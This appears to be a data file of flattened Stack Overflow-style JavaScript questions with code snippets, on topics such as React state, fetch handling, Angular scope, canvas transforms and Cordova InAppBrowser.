use : But my app has the itemContoller , like this : If I set this : It does n't work ! I found all of the ember guides and did not find the answer.Any help please . { { # each content as |product index| } } { { index } } { { /each } } { { # each product in content itemController='product ' } } { { # each content as |product index| itemController='product ' } }",How to set itemController in each as ( ember 1.11 beta3 ) ? "JS : Firefox 9.0.1 surprised me by showing up my Ω ( log n ) number-padding algorithm with a Ω ( n ) loop method when n is small . In every other browser I 've seen , the loop is slower , even for small values of n. I know all the browsers are working on optimizing JS , but since all the other , modern browsers are showing the loop to be slower , is there any explanation for the behavior in Firefox 9 ? Update : I do n't think this is related to the original question , but I just discovered that IE 9 switches behavior when switching from 32- to 64-bit modes . In 32-bit mode , the Math method wins . In 64-bit mode , the Loop method wins . Just thought I should point that out.Update 2 : MAK caught me in his comment below . The math method 's not Ω ( 1 ) , it 's probably more like Ω ( log n ) . // Ω ( log n ) function padNumberMath ( number , length ) { var N = Math.pow ( 10 , length ) ; return number < N ? ( `` '' + ( N + number ) ) .slice ( 1 ) : `` '' + number } // Ω ( n ) : function padNumberLoop ( number , length ) { var my_string = `` + number ; while ( my_string.length < length ) { my_string = ' 0 ' + my_string ; } return my_string ; }",How did Firefox optimize this loop ? "JS : I 'm trying to create post request using fetch and typescript.But ca n't create 204 status handler.I have already tried to return promise with null value but it does't work . postRequest = async < T > ( url : string , body : any ) : Promise < T > = > { const response = await fetch ( url , { method : 'POST ' , headers : { 'Content-Type ' : 'application/json ; charset=utf-8 ' } , body : JSON.stringify ( body ) } ) ; // here is my problem if ( response.status === 204 ) { // error is : `` Type 'null ' is not assignable to type 'T ' . '' return null ; // I have tried to return promise , but it does n't work . // error is : `` Argument of type 'null ' is not assignable to // parameter of type 'T | PromiseLike < T > | undefined ' . '' return new Promise ( resolve = > resolve ( null ) ) ; } if ( ! response.ok ) { throw new Error ( response.statusText ) ; } return await response.json ( ) as Promise < T > ; } ; postRequest < { data : boolean } > ( 'request ' , { someValue : 1234 } ) ;",How can I handle 204 status with Typescript and fetch ? "JS : I have often see expressions such as : How do I interpret it ? syntactically , this alone is a anonymous function definition.what the ( ) after that ? and why put it in the enclosing ( ) ? Thanks ( function ( ) { var x = 1 ; ... } ( ) ) ; function ( ) { ... }",javascript function vs. ( function ( ) { ... } ( ) ) ; "JS : Regarding JavaScript , when clearing an array , I 've found two methods : vsI would guess logically myArray.length = 0 ; keeps the reference while myArray = newArray ( ) creates a new reference making previous references void.However , I have found in the past guessing how JavaScript works by using my own logic has been regularly unsuccessful : ) What 's the difference ( if any ) between the two methods ? myArray.length = 0 ; myArray = new Array ( )","In JavaScript , what 's the difference between myArray.length = 0 vs myArray = new Array ( ) ?" "JS : The syntax to update state in React has change a lot . I 'm trying to find the most simple and elegant way to initiate and update it.Got this RN code : Would it be possible to reduce the updating of state in the onPress ? Would like to avoid calling an anonymous function twice but do n't want to reference and bind a handler . Would also like to avoid using the return.. const { quotes } = require ( './quotes.json ' ) class QuoteScreen extends Component { state = { QuoteIndex : 0 } render ( ) { return ( < Image ... > < View ... > ... < ButtonNextQuote onPress= { ( ) = > { this.setState ( ( prevState , props ) = > { return { QuoteIndex : ( prevState.QuoteIndex + 1 ) % ( quotes.length - 1 ) } } ) } } / > < /View > < /Image > ) } }",Elegant ES6 way to update state in React "JS : I 've got a dynamic json object that can contain different types of attributes and objects inside , could have plane strings or even arrays.I made a javascript code to convert a single JSON structure to an HTML table , worked great but id like to make it for a dynamic JSON , so basically I would need to iterate through the JSON tree parents and childs to see how do i create this HTML table.But I do have some problems when trying to validate if a child has an object inside , like this : ( I do n't want to add to many details to the JSON ) How could I achieve this ? I was thinking of using the `` typeof '' function like so : But I do n't believe it would work well , can you guys help me ? Thanks in advance . parent : { child_1 : { attr1 : value1 } , child_2 : { [ { attribues and values in an array } ] } } if ( typeof key === 'array ' ) { // do something } else { // do another stuff }",html table based upon json object tree "JS : I have a string filter for 3 columns in my grid . This is working fine . In third column whose dataindex is abc I want to modify entered value . For example if I press 0 then it filtered all the data which having 0 . I want to press 'No ' instead of 0 to filter . Similarly I want to use 'Yes ' instead of 1 to filter data with 1.My Code for creating filter.Code for inserting filter . Thanks for help . this.filters = new Ext.ux.grid.GridFilters ( { filters : this.filter , local : true , autoReload : false , } ) ; this.features = [ this.filters ] ; this.plugins = [ this.filters ] ; gridEl.filter.push ( { type : header.getAttribute ( `` FILTER '' ) , dataIndex : header.getAttribute ( `` DATAINDEX '' ) , encode : false , metaID : header.getAttribute ( `` M '' ) , } ) ;",How to modify entered value in string filter "JS : I ’ m working on an application and I ’ m trying to make sure I ’ m using $ scope correctly.I watched the best practices video and Miško kinda says we shouldn ’ t be manipulating $ scope properties in this . I ’ ve been creating variables like this for the most part : Should I re-write my application to use something like this instead : The reason I ask is that I ’ ve rarely seen examples or applications using $ scope.model way , it ’ s usually just properties declared on $ scope . $ scope.groups = groupService.getGroups ( ) $ scope.users = userService.getUsers ( ) ; $ scope.selectedUser = false ; $ scope.model = { selectedAvailableGroups : [ ] , selectedAssignedGroups : [ ] , allGroups : groupService.getGroups ( ) , allUsers : userService.getUsers ( ) , selectedUser : false }",Best Practice when using $ scope properties in Angular "JS : I am using this jsfiddle : http : //jsfiddle.net/vaDkF/828/ ( without the top and bottom option ) to create a reordering table.I would like to know if it is possible to have the up button disappear ( display none ) if it is the first row in the table , and the down button disappear if it is the last row in the table . Thanks ! $ ( document ) .ready ( function ( ) { $ ( `` .up , .down '' ) .click ( function ( ) { var row = $ ( this ) .parents ( `` tr : first '' ) ; if ( $ ( this ) .is ( `` .up '' ) ) { row.insertBefore ( row.prev ( ) ) ; } else { row.insertAfter ( row.next ( ) ) ; } } ) ; } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < table > < tr > < td > One < /td > < td > < a href= '' # '' class= '' up '' > Up < /a > < a href= '' # '' class= '' down '' > Down < /a > < /td > < /tr > < tr > < td > Two < /td > < td > < a href= '' # '' class= '' up '' > Up < /a > < a href= '' # '' class= '' down '' > Down < /a > < /td > < /tr > < tr > < td > Three < /td > < td > < a href= '' # '' class= '' up '' > Up < /a > < a href= '' # '' class= '' down '' > Down < /a > < /td > < /tr > < tr > < td > Four < /td > < td > < a href= '' # '' class= '' up '' > Up < /a > < a href= '' # '' class= '' down '' > Down < /a > < /td > < /tr > < tr > < td > Five < /td > < td > < a href= '' # '' class= '' up '' > Up < /a > < a href= '' # '' class= '' down '' > Down < /a > < /td > < /tr > < /table >",Display of up/down buttons in table row reordering "JS : I have an HTML table generated via SQL and PHP . There is a JS onClick event at the < table > level . I am trying to set it up so my first row ( first row below the < TH > ) and first three columns are not part of the event . These rows/columns are forms and not part of the active data . I have the below script and the TD 's are being successfully ignored but I can not seem to remove the onClick alert form the first TR no matter how I modify the code . Everything else works 100 % as expected . I am aware that this might not be the best or most efficient way to to what I need , but it 's all I have managed to put together that works as expected so far . $ ( 'table tr : not ( : first-child ) td : not ( : nth-child ( -n+3 ) ) ' ) .unbind ( ) .click ( function ( clickSpot ) { var clickID = $ ( this ) .closest ( 'tr ' ) .find ( 'td : eq ( 3 ) ' ) .text ( ) ; alert ( clickID ) ; } )",tr : not ( : first-child ) being ignored for some reason "JS : I 'm working on a project and I 'm really trying to write object-oriented JavaScript code . I have just started reading Douglas Crockford 's JavaScript : The Good Parts and I 'm quickly beginning to realize that writing Java-esque OOP in JavaScript will be a difficult task.Thus far , I 've written something like the following ... ... the idea being that I want objects/functions to be refactored and decoupled as much as possible ; I want to reuse as much code as I can . I 've spread a lot of my code across different .js files with the intention of grouping specific relevant code together , much like if you would write different classes in Java . As I 've been learning more about jQuery , I realized that the notation $ .fn.foo = function ( ) { ... } ; is actually adding this foo function to the prototype of all jQuery objects . Is this something I should be doing ? Am I misusing jQuery somehow ? I would appreciate suggestions on how to improve my approach to OOP in JavaScript and I would love to see references to sources/tutorials/articles/etc ... that discuss this topic . Please feel free to provide feedback even if an answer has been selected . I am looking for your advice ... this is why I posted : ) ** Note : I 'm not developing a jQuery plugin . I 'm developing a web app and heavily making use of jQuery . // index.html $ ( document ) .ready ( function ( ) { $ ( ) .SetUpElements ( ) ; } ) ; // this is in a different js file $ .fn.SetUpElements = function ( ) { // do stuff here $ ( ) .UpdateElement ( ) ; } ; // this is in yet another different js file $ .fn.UpdateElement = function ( ) { // do stuff here var element = new Element ( id , name ) ; // continue doing work } ; function Element ( id , name ) { var id = id ; var name = name ; // other stuff } ;",Java-esque OOP in JavaScript and a jQuery fail "JS : I have an element which has been transformed with a matrix3d to give it perspective . It represents the screen of a handheld device.There 's a background image showing the handheld device itself , and this is not transformed . The element which holds this is positioned , and the screen element is positioned absolutely within it , at left : 0 ; top : 0 ; , and then transformed , with an origin in the top-left of the container . This was the easiest way for me to line it up perfectly with the background image ( I used this very handy tool to come up with the matrix ) , and it moves the screen element away from the corner.I want to be able to interact with the screen with mouse and touch events . To do this , on a click or touch event I need to find the coordinates in the local coordinate system of the screen element -- that is , the coordinates before the transform has taken place . In other words , when clicking the top-left of the handheld device 's screen ( which is not the top-left of its bounding box on the page ! ) I want [ 0 , 0 ] , and when clicking the top right of the screen , which in this transform 's case is actually further up on the page as well as to the right , I want [ untransformedWidth , 0 ] .Mouse events provide offsetX and offsetY which purportedly do exactly this ( more on that below ) , but the touch events do n't have these properties , so I need a way to calculate them myself.Using math.js I can feed in the transformation matrix and invert it . I have some code to loop over the CSS rules to get the transform : matrix3d ( ... ) rule ( I do n't want to repeat it in my code if I do n't have to ) , which I 'll skip over -- I know it works because the numbers match the CSS.Note that CSS has its matrix elements in column order , so matrix3d ( a , b , c , d , e , f , g , h , i , j , k , l , m , n , o , p ) looks in regular matrix notation like this : Meanwhile , math.js wants its matrices declared row by row , like [ [ a , e , i , m ] , [ b , f , j , n ] ... .So starting where I have a list of the number elements from inside the matrix3d ( ... ) expression , in CSS order , I 'm building and inverting the matrix like this : I then set up a mouse event handler on the screen element : If I move a marker ( relative to the container ) to this point [ x , y ] , it appears exactly where I clicked . So I know this much is working . I then multiply a vector of these coordinates by the inverse transformation matrix : If I move another marker ( this one relative to the screen element ) to the resulting vector 's values [ result.get ( [ 0 ] ) , result.get ( [ 1 ] ) ] it moves to roughly the same position as the previous marker , but it 's not quite right . It seems that the further from the origin I go , the more error there is , until it 's really quite bad towards the right and bottom edges.But then what if I check against offsetX and offsetY ? Well , it turns out that the answer depends on the browser.In Firefox , the coordinates found with offset* do n't match the clicked position either . They 're not quite the same as my calculated one , but only different by a couple of pixels . They 're just as far away from the true clicked point as my calculated values.But in Chrome the coordinates found with offset* are perfect.Here 's a jsfiddle.Is there anything I 'm doing wrong with my calculation ? Is there a way for me to mimic Chrome 's result , but without the offset* properties ? ┌ ┐│ a e i m ││ b f j n ││ c g k o ││ d h l p │└ ┘ var rows = [ [ ] , [ ] , [ ] , [ ] ] ; for ( var i = 0 ; i < elements.length ; i++ ) { rows [ i % 4 ] [ Math.floor ( i / 4 ) ] = elements [ i ] ; } var matrixTransform = math.matrix ( rows ) ; var invertedMatrixTransform = math.inv ( matrixTransform ) ; screen.addEventListener ( 'mousedown ' , function ( event ) { var rect = container.getBoundingClientRect ( ) ; var x = event.clientX - rect.left ; var y = event.clientY - rect.top ; var vector = math.matrix ( [ x , y , 0 , 1 ] ) ; var result = math.multiply ( inverseMatrixTransform , vector ) ;",Getting the touched position in local coordinates of a transformed element "JS : I 'm trying to wrap my head around saving time in my coding solution.I have a function called tripletSum which takes two parameters x and a where x is a number and a is an array.This function is supposed to return true if the list a contains three elements which add up to the number x , otherwise it should return false.I 've created the following working solution : But this does n't seem like the best practice . Currently the time it takes to run through this function is O ( n^3 ) if I 'm not mistaken and I think it can be improved to have a time complexity of O ( n^2 ) .Anyway I can change this code to do that ? Edit : This is not a duplicate of the other question because I was asking for a specific improvement on my current example in JavaScript which is not what it asked in the marked duplicate question . function tripletSum ( x , a ) { for ( var i = 0 ; i < a.length ; i++ ) { for ( var j = i + 1 ; j < a.length ; j++ ) { for ( var k = j + 1 ; k < a.length ; k++ ) { if ( ( a [ i ] + a [ j ] + a [ k ] ) === x ) { return true ; } } } } return false ; }",Changing O ( n^3 ) to O ( n^2 ) in JavaScript "JS : Why the following syntaxis invalid , whereas is valid ? { a:1 , b:2 } .constructor [ 1,2 ] .constructor",Why ca n't I directly access a property of an object literal ? JS : So I have n't quite figured out the proper structure to use within my .htaccess file for what I am looking to achieve.What I would like to have happen is any javascript files that are called from a folder ( and only that folder ) are generated by a php file . I 'm not looking to have a .php extension or create multiple files for this.An example isWould then be sent to something like : Not looking to use a $ _GET method on the php either . Basically the php file detects the file name and then does what it is supposed to do from there.What would be the best way to set this up within an .htaccess file ? Thanks ! https : //www.domain.com/loads/923as0d9f89089asd.js https : //www.domain.com/loads/js.php,How to make certain javascript files render from php using htaccess JS : When I try to set 31 bit 0 | 1 < < 31 I get the following result : Which is actualy : Is it correct to set 31 bit or should I restrict to 30 to prevent negative values ? console.log ( 0 | 1 < < 31 ) ; // -2147483648 console.log ( ( -2147483648 ) .toString ( 2 ) ) // -10000000000000000000000000000000,Is it correct to set bit 31 in javascript ? "JS : I have a React component that takes in username and password and sends it for authentication . If authentication is successful , the page should move to a different route which renders another component . Now the problem is , I am not sure how I can change route from my store ? i.e . without using the < Link > component of React Router ? I know that we can use this.props.history.push ( /url ) to change route programatically , but it can only be used inside a React Component using < Route > , not from the store.I am using React16 with MobX for state management , and ReactRouter V4 for routing . Store : Login Component : Main App Component : class Store { handleSubmit = ( username , password ) = > { const result = validateUser ( username , password ) ; // if result === true , change route to '/search ' to render Search component } } const Login = observer ( ( { store } ) = > { return ( < div > < form onSubmit= { store.handleSubmit } > < label htmlFor= '' username '' > User Name < /label > < input type= '' text '' id= '' username '' onChange= { e = > store.updateUsername ( e ) } value= { store.username } / > < label htmlFor= '' password '' > Password < /label > < input type= '' password '' id= '' password '' onChange= { e = > store.updatePassword ( e ) } value= { store.password } / > < input type= '' submit '' value= '' Submit '' disabled= { store.disableSearch } / > < /form > } < /div > ) } ) import { Router , Route , Link } from `` react-router-dom '' ; @ observerclass App extends React.Component { render ( ) { return ( < Router history= { history } > < div > < Route exact path= '' / '' component= { ( ) = > < Login store= { store } / > } / > < Route path= '' /search '' component= { ( ) = > < Search store= { store } / > } / > < /div > < /Router > ) } }",Change route from store in React application "JS : I have a twofold question which involves something I would consider to be incorrect Javascript code.How is the following statement interpreted in Javascript , and why ? Why is there a difference between these two invocations : which leads to a being equal to 4 and Uncaught TypeError : a is not a function being thrown , andwhich leads to Uncaught TypeError : ( ( ( 1 , 2 ) , 3 ) , 4 ) is not a function ? ( 1,2,3,4 ) var a = ( 1,2,3,4 ) ; a ( ) ; ( 1,2,3,4 ) ( ) ;",Behaviour of commas within parentheses in Javascript "JS : I 'm trying to use jquery validate . Following the example : http : //docs.jquery.com/Plugins/Validation works great and I 'd like to reproduce with my code . However I 'm not sure where to call it.What I have is a generated html table and when you click the `` Edit '' button for any row it opens up a form . I want to validate this form with jquery . I believe it is working but when I hit submit on the form I hide the form so I can never see the validation work ... I think.I generate the form with javascript and the submit button looks like this : This is hardly enough information so I have all the code in this fiddle : http : //jsfiddle.net/UtNaa/36/ . However I ca n't seem to get the fiddle to work when you click the Edit button . Which opens up a form where I want the validation.I 'm not sure validation is actually working . Maybe it is but when you hit the submit button on the form , the form hides . Again the fiddle does n't work to show the form but it does work for me on my site . Hopefully the code in there will at least help . var mysubmit = document.createElement ( `` input '' ) ; mysubmit.type = `` submit '' ; mysubmit.name = `` Submit '' ; mysubmit.value = `` Apply '' mysubmit.onclick = function ( ) { //return formSubmitactivecameras ( ) ; js ( `` # EditCameraForm '' ) .validate ( ) ; this.form.submit ( ) ; } ; myform.appendChild ( mysubmit ) ;",jquery validate position "JS : I 'm working with the twitter API and I 'm hitting a really confusing issue.I have the following script : Which is calling the following function to interact with twitter : It seems like I 'm getting the result I want . When I log the result itself I get the following output : Which is great , an array of the tweets limited to 1 tweet . The problem I 'm running into is when I try to access this array . I read back through the api docs for the user_timeline but unless I 'm completely missing it I 'm not seeing any mention of special output . Any ideas ? UpdateThanks @ nicematt for pointing out that answer . Just to elaborate on the solution , I updated my code to this and now I 'm getting the result I want : Thanks for the help ! const Twitter = require ( 'twitter-api-stream ' ) const twitterCredentials = require ( './credentials ' ) .twitterconst twitterApi = new Twitter ( twitterCredentials.consumerKey , twitterCredentials.consumerSecret , function ( ) { console.log ( arguments ) } ) twitterApi.getUsersTweets ( 'everycolorbot ' , 1 , twitterCredentials.accessToken , twitterCredentials.accessTokenSecret , ( error , result ) = > { if ( error ) { console.error ( error ) } if ( result ) { console.log ( result ) // outputs an array of json objects console.log ( result.length ) //outputs 3506 for some reason ( it 's only an array of 1 ) console.log ( result [ 0 ] ) // outputs a opening bracket ( ' [ ' ) console.log ( result [ 0 ] .text ) // outputs undefined } } ) TwitterApi.prototype.getUsersTweets = function ( screenName , statusCount , userAccessToken , userRefreshToken , cb ) { var count = statusCount || 10 ; var screenName = screenName || `` '' ; _oauth.get ( `` https : //api.twitter.com/1.1/statuses/user_timeline.json ? count= '' + count + `` & screen_name= '' + screenName , userAccessToken , userRefreshToken , cb ) ; } ; [ { `` created_at '' : `` Thu Sep 01 13:31:23 +0000 2016 '' , `` id '' : 771339671632838656 , `` id_str '' : `` 771339671632838656 '' , `` text '' : `` 0xe07732 '' , `` truncated '' : false , ... } ] console.log ( result.length ) //outputs 3506 for some reason ( it 's only an array of 1 ) console.log ( result [ 0 ] ) // outputs a opening bracket ( ' [ ' ) console.log ( result [ 0 ] .text ) // outputs undefined if ( result ) { let tweet = JSON.parse ( result ) [ 0 ] // parses the json and returns the first index console.log ( tweet.text ) // outputs '0xe07732 ' }",Javascript array is not accessible as an array "JS : Really hoping someone can help me with a problem I 've had a couple of times recently.Let 's say I have two objects in AngularJS.I would then like to display a table in a view that shows only the fields in the $ scope.fields . This would be super easy if the table was flat , and I know I could flatten it using JavaScript , but there must be a way to do this by converting the dot notation to the path.I have added a JSFiddle to demonstrate the problem I 'm having : JSFiddle : http : //jsfiddle.net/7dyqw4ve/1/I have also tried doing something as suggested below , but the problem is its terrible practice to use functions in the view : Convert JavaScript string in dot notation into an object referenceIf anyone has any ideas I would greatly appreciate it . $ scope.fields = [ 'info.name ' , 'info.category ' , 'rate.health ' ] $ scope.rows = [ { info : { name : `` Apple '' , category : `` Fruit '' } , rate : { health : 100 , ignored : true } } , { info : { name : `` Orange '' , category : `` Fruit '' } , rate : { health : 100 , ignored : true } } , { info : { name : `` Snickers '' , category : `` Sweet '' } , rate : { health : 0 , ignored : true } } ]",Evaluate string in dot notation to get the corresponding value from an object in the view "JS : I want to use a type for my event handler instead of using type any , Can anyone help me with this , please ? here is the code I 'm trying to refactor : const MyComponent = ( ) = > { const handleBtnClick = ( e : any ) = > { e.stopPropagation ( ) ; //**Some Code** } return < CustomButton onClick= { handleBtnClick } / > }",What is the correct type for React Click Event ? "JS : I am running grunt-sass to try and compile my SCSS , but any time I run I get a Bus Error : 10 . Using Node version 5.6.0 , and an image of the error can be found here.Anyone come across this before ? Gruntfile.js : module.exports = function ( grunt ) { // Configure tasks grunt.initConfig ( { pkg : grunt.file.readJSON ( 'package.json ' ) , uglify : { dev : { options : { beautify : true , mangle : false , compress : false , preserveComments : 'all ' } , src : 'src/js/*.js ' , dest : 'js/script.min.js ' } , build : { src : 'src/js/*.js ' , dest : 'js/script.min.js ' } } , sass : { dev : { options : { outputStyle : 'expanded ' } , files : { 'src/lad.css ' : 'src/sass/style.scss ' } } } , watch : { js : { files : 'src/js/*.js ' , tasks : [ 'uglify : dev ' ] } } } ) ; // Load the plugins grunt.loadNpmTasks ( 'grunt-contrib-uglify ' ) ; grunt.loadNpmTasks ( 'grunt-contrib-watch ' ) ; grunt.loadNpmTasks ( 'grunt-sass ' ) ; // Register tasks grunt.registerTask ( 'default ' , [ 'uglify : dev ' , 'sass : dev ' ] ) ; grunt.registerTask ( 'build ' , [ 'uglify : build ' ] ) ; } ;",Running `` saas : dev '' ( sass ) task Bus Error : 10 "JS : I 'm trying to make a class with typescript 2.0.3 but I have some problems and I do n't know why.this is my codeIn the cloneCar method , I have this error when trying to write : Tslint : identifier 'prop ' is never reassigned , use const instead of letthis is an image capture from my IDE : see error here NB : I 'm using this code in angular project version 2.3.0Some help , please ! import { Component , OnInit } from ' @ angular/core ' ; import { Car } from '../interfaces/car ' ; class PrimeCar implements Car { constructor ( public vin , public year , public brand , public color ) { } } @ Component ( { selector : 'rb-test ' , templateUrl : './test.component.html ' , styleUrls : [ './test.component.css ' ] } ) export class TestComponent implements OnInit { displayDialog : boolean ; car : Car = new PrimeCar ( null , null , null , null ) ; selectedCar : Car ; newCar : boolean ; cars : Car [ ] ; constructor ( ) { } ngOnInit ( ) { this.cars = [ { vin : '111 ' , year : '5554 ' , brand : '5646 ' , color : '6466 ' } , { vin : '111 ' , year : '5554 ' , brand : '5646 ' , color : '6466 ' } , { vin : '111 ' , year : '5554 ' , brand : '5646 ' , color : '6466 ' } , { vin : '111 ' , year : '5554 ' , brand : '5646 ' , color : '6466 ' } ] ; } showDialogToAdd ( ) { this.newCar = true ; this.car = new PrimeCar ( null , null , null , null ) ; this.displayDialog = true ; } save ( ) { const cars = [ ... this.cars ] ; if ( this.newCar ) { cars.push ( this.car ) ; } else { cars [ this.findSelectedCarIndex ( ) ] = this.car ; } this.cars = cars ; this.car = null ; this.displayDialog = false ; } delete ( ) { const index = this.findSelectedCarIndex ( ) ; this.cars = this.cars.filter ( ( val , i ) = > i ! == index ) ; this.car = null ; this.displayDialog = false ; } onRowSelect ( event ) { this.newCar = false ; this.car = this.cloneCar ( event.data ) ; this.displayDialog = true ; } cloneCar ( c : Car ) : Car { const car = new PrimeCar ( null , null , null , null ) ; for ( let prop : string in c ) { car [ prop ] = c [ prop ] ; } return car ; } findSelectedCarIndex ( ) : number { return this.cars.indexOf ( this.selectedCar ) ; } } for ( let prop : string in c ) { ... }",error in typescript for each loop syntax "JS : I have a tree structure that has a node with a parent ID ( unlimited child nodes ) . For display purposes I need this tree structure as a binary tree . How I do this is at each level nodes are grouped into a single node based upon a condition . When a node is selected its children are then displayed . Example : The green is when the condition is true and red is falseB , C have been grouped into the left node and D , E are on the right based on their conditions.QUESTION : I 'm using KnockoutJS to display my tree and I need to be able to perform normal tree operations like getting a node based on its ID , inserting node ( s ) removing node ( s ) . This is the structure I have . Is there a better structure/way of doing this ? var tree = [ { groupNodeId : `` A '' , childNodes : [ { nodeId : `` A '' , childGroupNodes : [ { groupNodeId : `` B '' , condition : true , childNodes : [ { nodeId : `` B '' , childGroupNodes : [ ] } , { nodeId : `` C '' , childGroupNodes : [ ] } ] } , { groupNodeId : `` D '' , condition : false , childNodes : [ { nodeId : `` D '' , childGroupNodes : [ ] } , { nodeId : `` E '' , childGroupNodes : [ ] } ] } ] } ] } ] ;",Binary tree from general tree "JS : I am using a photo upload script which can be found at https : //github.com/CreativeDream/php-uploaderThis is the HTML : This is the Jquery which sends data to post-status.php : This is the PHP file which renames the files ( images ) and uploads them to the uploads folder.Now the problem : You can see there is a textarea and file input in the form . I want to insert the textarea data and names of the images uploaded to the database . But the image is being renamed and uploaded with the PHP script given above . And the status is posted by a custom php script written by me in post-status.php . What I want is I want the renamed file name to be sent to the post-status.php page so that I can insert it into the database . But since this is an external script that I am using for uplaoding photos I am not being able to combine it with my script . Please help me guys . You can download the script from the above given link . < form method= '' post '' action= '' < ? php echo $ _SERVER [ 'PHP_SELF ' ] ; ? > '' id= '' newstatus '' runat= '' server '' > < textarea name= '' status '' class= '' textarea newstatuscontent '' placeholder= '' What are you thinking ? `` > < /textarea > < div class= '' media '' > < input type= '' file '' name= '' files [ ] '' id= '' filer_input2 '' multiple= '' multiple '' > < /div > < input type= '' submit '' name= '' post '' value= '' Post '' class= '' post-btn '' id= '' submit '' / > < /form > //Get Image Value and Assign it to class mediafile $ ( ' # filer_input2 ' ) .change ( function ( ) { var files = $ ( this ) [ 0 ] .files ; var output = `` '' ; for ( var i = 0 ; i < files.length ; i++ ) { console.log ( files [ i ] .name ) ; output += files [ i ] .name+ '' ; '' ; } var media = $ ( `` .mediafile '' ) .val ( output ) ; } ) ; // STATUS UPDATE $ ( function ( ) { $ ( `` # submit '' ) .click ( function ( ) { var textcontent = $ ( `` .newstatuscontent '' ) .val ( ) ; if ( media == `` ) { if ( textcontent == `` ) { $ ( '.cap_status ' ) .html ( `` Status can not be empty . Please write something . `` ) .addClass ( 'cap_status_error ' ) .fadeIn ( 500 ) .delay ( 3000 ) .fadeOut ( 500 ) ; } } else { $ .ajax ( { type : `` POST '' , url : `` post-status.php '' , data : { content : textcontent } , cache : true , success : function ( html ) { $ ( `` # shownewstatus '' ) .after ( html ) ; $ ( `` .newstatuscontent '' ) .val ( `` ) ; } } ) ; } return false ; } ) ; } ) ; < ? php include ( 'class.uploader.php ' ) ; $ uploader = new Uploader ( ) ; $ data = $ uploader- > upload ( $ _FILES [ 'files ' ] , array ( 'limit ' = > 10 , //Maximum Limit of files . { null , Number } 'maxSize ' = > 10 , //Maximum Size of files { null , Number ( in MB 's ) } 'extensions ' = > null , //Whitelist for file extension . { null , Array ( ex : array ( 'jpg ' , 'png ' ) ) } 'required ' = > false , //Minimum one file is required for upload { Boolean } 'uploadDir ' = > '../uploads/ ' , //Upload directory { String } 'title ' = > array ( ' { { random } } { { .extension } } ' , 32 ) , //New file name { null , String , Array } *please read documentation in README.md 'removeFiles ' = > true , //Enable file exclusion { Boolean ( extra for jQuery.filer ) , String ( $ _POST field name containing json data with file names ) } 'replace ' = > false , //Replace the file if it already exists { Boolean } 'perms ' = > null , //Uploaded file permisions { null , Number } 'onCheck ' = > null , //A callback function name to be called by checking a file for errors ( must return an array ) | ( $ file ) | Callback 'onError ' = > null , //A callback function name to be called if an error occured ( must return an array ) | ( $ errors , $ file ) | Callback 'onSuccess ' = > null , //A callback function name to be called if all files were successfully uploaded | ( $ files , $ metas ) | Callback 'onUpload ' = > null , //A callback function name to be called if all files were successfully uploaded ( must return an array ) | ( $ file ) | Callback 'onComplete ' = > null , //A callback function name to be called when upload is complete | ( $ file ) | Callback 'onRemove ' = > null //A callback function name to be called by removing files ( must return an array ) | ( $ removed_files ) | Callback ) ) ; if ( $ data [ 'isComplete ' ] ) { $ files = $ data [ 'data ' ] ; echo json_encode ( $ files [ 'metas ' ] [ 0 ] [ 'name ' ] ) ; } if ( $ data [ 'hasErrors ' ] ) { $ errors = $ data [ 'errors ' ] ; echo json_encode ( $ errors ) ; } exit ; ? >",Inserting file name to the database "JS : In my reactjs redux application I 'm using redux observable epics middleware for ajax requests to cancel some requests.My problem is I call this action when I press some buttons , I have two kinds of buttons both can call the same action , in that case if call from first action and second action is different button I do n't want to debounce , I want to debounce only if the action is from same button . const epicRequest = $ actions = > { return $ actions .ofType ( MY_ACTION_TYPE ) .debounceTime ( 500 ) .switchMap ( action = > { // Doing Ajax } ) }",Redux Observable throttle Ajax requests only some conditions met "JS : When applying a transformation with canvas , the resulting text is also ( obviously ) transformed . Is there a way to prevent certain transformations , such as reflection , of affecting text ? For example , I set a global transformation matrix so the Y-axis points upwards , X-axis to the right , and the ( 0 , 0 ) point is in the center of the screen ( what you 'd expect of a mathematical coordinate system ) .However , this also makes the text upside-down . Is there a `` smart '' way to get the text in `` correct '' orientation , apart from manually resetting transformation matrices ? const size = 200 ; const canvas = document.getElementsByTagName ( 'canvas ' ) [ 0 ] canvas.width = canvas.height = size ; const ctx = canvas.getContext ( '2d ' ) ; ctx.setTransform ( 1 , 0 , 0 , -1 , size / 2 , size / 2 ) ; const triangle = [ { x : -70 , y : -70 , label : ' A ' } , { x : 70 , y : -70 , label : ' B ' } , { x : 0 , y : 70 , label : ' C ' } , ] ; // draw lines ctx.beginPath ( ) ; ctx.strokeStyle = 'black ' ; ctx.moveTo ( triangle [ 2 ] .x , triangle [ 2 ] .y ) ; triangle.forEach ( v = > ctx.lineTo ( v.x , v.y ) ) ; ctx.stroke ( ) ; ctx.closePath ( ) ; // draw labelsctx.textAlign = 'center ' ; ctx.font = '24px Arial ' ; triangle.forEach ( v = > ctx.fillText ( v.label , v.x , v.y - 8 ) ) ; < canvas > < /canvas >",`` Undo '' canvas transformations for writing text "JS : I have always learned that to declare a function in javascript you should do something like : or something like : However , most recently , I have noticed that some people actually define functions as constants : Or even using the keyword let : At this point I am quite confused.Why so many ways of defining functions ? When/where should I use each one ? Which way is more efficient ? function myfunction ( fruit ) { alert ( ' I like ' + fruit + ' ! ' ) ; } var myfunction = function ( fruit ) { alert ( ' I like ' + fruit + ' ! ' ) ; } ; const myfunction = fruit= > alert ( ' I like ' + fruit + ' ! ' ) ; let myfunction = fruit= > alert ( ' I like ' + fruit + ' ! ' ) ;",What is the most efficient way to declare functions in Javascript ? "JS : I 'm trying to open a payment page with cordova InAppBrowser and i want to open that page in system browser on mobile devices . I 'm also try the _blank param but _blank just open that page in the same window to app . And i also want to Send Post Request over Cordova InAppBrowser . this is my code : There is no action from this with _system param , and _blank just open the page in the same window to app . What should i do for open the payment page in system browser of device ? var redirect = 'https : //SomeRef ' ; var pageContent = ' < form id= '' FormID '' action= '' https : //SomeOtherRefs '' method= '' post '' > ' + ' < input type= '' hidden '' name= '' RedirectURL '' value= '' ' + redirect + ' '' > ' + ' < input type= '' hidden '' name= '' Token '' value= '' ' + dataVar + ' '' > ' + ' < /form > < script type= '' text/javascript '' > document.getElementById ( `` FormID '' ) .submit ( ) ; < /script > ' ; var pageContentUrl = 'data : text/html ; base64 , ' + btoa ( pageContent ) ; var browserRef = cordova.InAppBrowser.open ( pageContentUrl , `` _system '' , `` hidden=no , location=no , clearsessioncache=yes , clearcache=yes '' ) ;",cordova 